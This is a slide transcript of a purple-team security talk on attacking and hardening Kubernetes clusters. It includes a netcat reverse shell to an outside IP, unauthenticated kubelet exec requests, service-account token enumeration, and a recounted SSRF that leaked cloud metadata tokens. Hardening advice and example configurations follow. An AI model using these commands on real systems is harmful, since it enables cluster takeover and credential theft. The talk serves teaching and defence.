This talks' focus lays on a popular containerization tool called Kubernetes. Common implementations of Kubernetes are not secure by default and a lot of information about hardening is not known to the public. Since version 1.7 the security level has increased and common security misconfigurations have been mitigated. During this talk it will be demonstrated what happens if these mitigations are not applied and how to abuse them. The talk will be about both securing and attacking the platform and could be considered a 'purple team' talk. Multiple live demos are planned, most of them ending in a guest-to-host escape and a root shell.

1. Securing Attacking
Kubernetes
[_evict @ KPN-CERT]
1 / 42

2. whoami
works for KPN in the CERT team
infoSec / hacking enthusiast
attacker gone defender
<3 binary stuff
2 / 42

3. ls -l
what is kubernetes?
how to interact with kubernetes
common pitfalls
some dem0z
advice
3 / 42

4. /bin/kubernetes -h
open source container orchestration
written in go
uses docker
released by Google on 07/06/2014
July 2015 Kubernetes is part of Cloud Native
Computing Foundation
4 / 42

5. kubectl -h
5 / 42

6. kubectl get namespaces
namespaces determine scope
administrative boundaries
resource restrictions
access control
$ kubectl get ns
NAME STATUS AGE
default Active 23d
kube-public Active 23d
kube-system Active 23d
safe-space Active 2h
6 / 42

7. kubectl get pods
kubernetes works with pods
a pod is a collection of one or more containers
configuration in yaml
images are freely available
pods are job based
$ kubectl get pods --namespace=kube-system
NAME READY
calico-etcd-rswwr 1/1
calico-kube-controllers-84fd4db7cd-twxh7 1/1
calico-node-mmpqm 2/2
coredns-78fcdf6894-th6ws 1/1
coredns-78fcdf6894-wrrzl 1/1
etcd-super-secure-k82 1/1
kube-apiserver-super-secure-k82 1/1
kube-controller-manager-super-secure-k82 1/1
kube-proxy-jcm7n 1/1
kube-scheduler-super-secure-k82 1/1
kubernetes-dashboard-6948bdb78-4kg5c 1/1
7 / 42

8. kubectl create -f demo.yml
apiVersion: v1
kind: Pod
metadata:
name: super-c00l-c0ntain3r
namespace: all-alone
spec:
restartPolicy: Never
containers:
- name: container
image: "ubuntu:14.04"
command: ["sh", "-c",
"while true; do echo hello world; sleep 10; done;"]
8 / 42

9. kubectl exec
executing commands on pods
opening a shell on nepal:
$ kubectl exec nepal -i --tty --namespace=countries -- /bin/bash
root@nepal:/# ls
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
root@nepal:/#
-i is interactive
--tty set STDIN as TTY
9 / 42

10. kubectl get svc
another abstraction layer
clusterIP proxy services
loadbalances / exposes services from pods
$ kubectl get svc --all-namespaces
NAMESPACE NAME TYPE CLUSTER-IP
default kubernetes ClusterIP 10.96.0.1
kube-system calico-etcd ClusterIP 10.96.232.136
kube-system kube-dns ClusterIP 10.96.0.10
kube-system kubernetes-dashboard ClusterIP 10.102.156.98
countries nepal NodePort 10.108.209.230
10 / 42

11. kubectl get secrets
Object to hold sensitive information
Created automatically for API access
$ kubectl get secrets --all-namespaces
NAMESPACE NAME
default default-token-h2rnd
kube-public default-token-zwtkt
kube-system attachdetach-controller-token-nsvgz
kube-system bootstrap-signer-token-6w725
[...SNIP...]
kube-system token-cleaner-token-dqww6
kube-system ttl-controller-token-7fd48
countries default-token-xgjmm
countries supersecret-token-token-8qrlc
11 / 42

12. what
could
go
wrong?
exposed endpoints
unrestricted APIs
internet facing API
privileged containers
internal API / dashboard access
12 / 42

13. what
could
go
wrong?
what
went
wrong?
found kubernetes endpoint
managed to create a pod
scanned the internal network
found a jenkins box without
authentication :-)
13 / 42

14. what
could
go
wrong?
what
went
wrong?
what
is
going
wrong?
14 / 42

15. 15 / 42

16. ./pwnp0d.sh
16 / 42

17. Example 1
access to a pod via API (real world example)
$ curl -v -s -d '{"command":"hostname"}'
-H "Content-Type: application/json"
-X POST https://victim.cloud.k8s.nl/command --insecure
* Trying 10.165.209.25...
[...SNIP...]
> POST /command HTTP/1.1
> Host: victim.cloud.k8s.nl
> User-Agent: curl/7.55.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 22
>
* upload completely sent off: 22 out of 22 bytes
< HTTP/1.1 200 OK
< Server: nginx/1.13.3
< Date: Mon, 02 Oct 2017 13:51:29 GMT
< Content-Type: application/json; charset=UTF-8
< Content-Length: 59
< Connection: keep-alive
< Strict-Transport-Security: max-age=15724800; includeSubDomains;
<
* Connection #0 to host victim.cloud.k8s.nl left intact
{"command":"hostname","output":"bad-red-807241626-189szn"}%
built Python wrapper to mimic shell :-)
17 / 42

18. getting
actual
shell
$ busybox nc 188.201.254.90 1337 -e /bin/sh &
18 / 42

19. getting
actual
shell
doing
recon
$ busybox nc 188.201.254.90 1337 -e /bin/sh &
$ printenv
HOSTNAME=container1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
[...TRUNCATED...]
alternative cat /proc/self/environ
19 / 42

20. getting
actual
shell
doing
recon
$ busybox nc 188.201.254.90 1337 -e /bin/sh &
$ printenv
HOSTNAME=container1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
[...TRUNCATED...]
$ ls /var/run/secrets/kubernetes.io/serviceaccount
ca.crt namespace token
20 / 42

21. getting
actual
shell
doing
recon
$ busybox nc 188.201.254.90 1337 -e /bin/sh &
$ printenv
HOSTNAME=container1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
[...TRUNCATED...]
$ ls /var/run/secrets/kubernetes.io/serviceaccount
ca.crt namespace token
$ nc -v 10.96.0.1 443
Connection to 10.96.0.1 443 port [tcp/https]
succeeded!
^ It is possible to access the API.
21 / 42

22. DEMO 1
access to a pod
attempt privesc
pwn host? ;-)
22 / 42

23. 23 / 42

24. privileged mode
$ cat /etc/kubernetes/manifests/kube-apiserver.yaml
apiVersion: v1
kind: Pod
metadata:
annotations:
scheduler.alpha.kubernetes.io/critical-pod: ""
creationTimestamp: null
labels:
component: kube-apiserver
tier: control-plane
name: kube-apiserver
namespace: kube-system
spec:
containers:
- command:
- kube-apiserver
- --authorization-mode=Node,RBAC
- --advertise-address=10.0.2.15
- --allow-privileged=true <----- THIS BASTARD RIGHT HERE
> [...SNIP...]
24 / 42

25. privileged mode
> Processes within the container get almost the
same privileges that are available to processes
outside a container.
Great, right?
25 / 42

26. Example 2
accessible kubernetes-dashboard
version < 1.7 full admin priv by default
>= 1.7 minimal privileges granted, admin revoked
website displays steps for enabling admin (not
recommended)
26 / 42

27. inside
pod
do
privesc
$ ./kubectl get po --namespace=safe-space
NAME READY STATUS RESTARTS AGE
container2 1/1 Running 0 8m
running in safe space
$ ./kubectl --namespace=safe-space create -f
escape.yml
Error from server (Forbidden): error when creating
"escape.yml" pods is forbidden:
User "system:serviceaccount:safe-space:default"
cannot create pods in the namespace "safe-space"
$ ./kubectl --namespace=default create -f escape.yml
Error from server (Forbidden): error when creating
"escape.yml" pods is forbidden:
User "system:serviceaccount:safe-space:default"
cannot create pods in the namespace "default"
oh noes, no privesc?
27 / 42

28. inside
pod
do
privesc
recon...
$ ./kubectl get svc --namespace=kube-system
NAME CLUSTER-IP PORT(S)
calico-etcd 10.96.232.136 6666/TCP
kube-dns 10.96.0.10 53/UDP,53/TCP
kubernetes-dashboard 10.97.154.242 443/TCP
^ that dashboard looks interesting
28 / 42

29. inside
pod
do
privesc
recon...
$ ./kubectl get svc --namespace=kube-system
NAME CLUSTER-IP PORT(S)
calico-etcd 10.96.232.136 6666/TCP
kube-dns 10.96.0.10 53/UDP,53/TCP
kubernetes-dashboard 10.97.154.242 443/TCP
$ curl -v https://10.97.154.242 -k
[...SSL_STUFFZ...]
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 10.97.154.242
> Accept: */*
>
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: no-store
< Content-Length: 990
< Content-Type: text/html; charset=utf-8
< Last-Modified: Tue, 13 Feb 2018 11:17:03 GMT
< Date: Mon, 21 May 2018 08:59:25 GMT
<
<!doctype html> <html ng-app="kubernetesDashboard">
[...SNIP...]
yay! access to dashboardz
29 / 42

30. DEMO 2
access to pod in countries
attempt privesc
pwn host?
30 / 42

31. Example 3
port 10250 exposed
before 09/02/2018 exposed kubelet API
allowed unauthenticated code execution
now authenticated by default
readonly port 10255 still unauthenticated
$ curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io"
-H "X-Stream-Protocol-Version: channel.k8s.io"
-X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/
<container-name>
?command=touch&command=hello_world
&input=1&output=1&tty=1"
https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-
kubelet-823be5c3d67c
31 / 42

32. pod
info
$ curl -v http://192.168.56.3:10255/pods | jq
[...SNIP...]
> GET /pods HTTP/1.1
> Host: 192.168.56.3:10255
> User-Agent: curl/7.55.1
> Accept: */*
>
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "container1",
"namespace": "default",
"selfLink": "/api/v1/namespaces/default/pods/
container1",
"spec": {
"volumes": [
{
"name": "default-token-svx6h",
"secret": {
"secretName": "default-token-svx6h",
"defaultMode": 420
}
}
]
]
32 / 42

33. pod
info
volume
info
$ curl -v http://192.168.56.3:10255/stats/
| grep device
> GET /stats/ HTTP/1.1
> Host: 192.168.56.3:10255
> User-Agent: curl/7.55.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: application/json
< Date: Mon, 21 May 2018 10:36:55 GMT
< Transfer-Encoding: chunked
<
"device": "/dev/dm-1",
"device": "/dev/mapper/super--secure--
kubernetes--vg-root",
"device": "/dev/sda",
"device": "/dev/sdb",
"device": "tmpfs",
33 / 42

34. Example 4
shopify SSRF
Disclosed serviceaccount token through SSRF:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-
accounts/default/token
Made request using token to kube-env
curl -X GET http://metadata.google.internal/computeMetadata/v1beta1/
instance/attributes/kube-env?alt=json
-H "Authorization: Bearer SUPERSECRETTOKEN=="
Disclosed private keys for Kubelet:
$ kubectl --client-certificate client.crt --client-key client.pem
--certificate-authority ca.crt
--server https://some.shopify.shop
get pods --all-namespaces
[PODS]
¯_(ツ)_/¯ Root on all shopify pods.
https://hackerone.com/reports/341876
34 / 42

35. 35 / 42

36. harden
network
define tiers (labels) e.g. frontend /
backend
setup egress / ingress rules
segment administrative / dev / prod
namespaces
filter service ports:
node controller: 10250 / 10255 / 10256 (tcp)
kubelet: 6443 (tcp)
etcd: 2379 (tcp)
calico: 9099 (tcp)
Do not expose node to the internet
(!!)
36 / 42

37. harden
network
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: foo-deny-egress
spec:
podSelector:
matchLabels:
app: foo
policyTypes:
- Egress
egress:
# allow port 53 TCP/UDP
- ports:
- port: 53
protocol: UDP
- port: 53
protocol: TCP
https://github.com/ahmetb/kubernetes-network-policy-recipes/blob/master/11-deny-egress-
traffic-from-an-application.md
37 / 42

38. harden
network
harden
node
limit service exposure
limit user access (SSH pubkey)
disable privileged mode (if possible)
setup proper logging
do not auto-mount service account
credentials
use latest version of Kubernetes
run kube-bench / kubesec
https://github.com/aquasecurity/kube-bench
https://kubesec.io/
38 / 42

39. harden
network
harden
node
harden
pods
do not run as root by default
set pod security context
disable privesc (yes, this is an
option)
set DenyEscalatingExec on privileged
pods
set AllowPrivilegeEscalation to False
check containers for vulnerable
software
https://github.com/ahmetb/kubernetes-network-policy-recipes
39 / 42

40. harden
network
harden
node
harden
pods
apiVersion: v1
kind: Pod
metadata:
name: security-context-example
spec:
securityContext:
runAsUser: 1000
fsGroup: 2000
volumes:
- name: sec-1337-volume
emptyDir: {}
containers:
- name: sec-1337-demo
image: k8s.io/this-is-a-great-demo
volumeMounts:
- name: sec-1337-volume
mountPath: /data/folder
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsNonRoot: true
capabilities:
drop:
- NET_RAW
- CHOWN
40 / 42

41. harden
network
harden
node
harden
pods
harden
accounts
service account should be limited /
not mounted
whitelist accounts per pod /
namespace
apply least privilege principle
41 / 42

42. harden
network
harden
node
harden
pods
harden
accounts
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: pod-reader
rules:
- apiGroups: [""] # "" indicates the core API group
resources: ["pods", "services"]
verbs: ["get", "list"]
42 / 42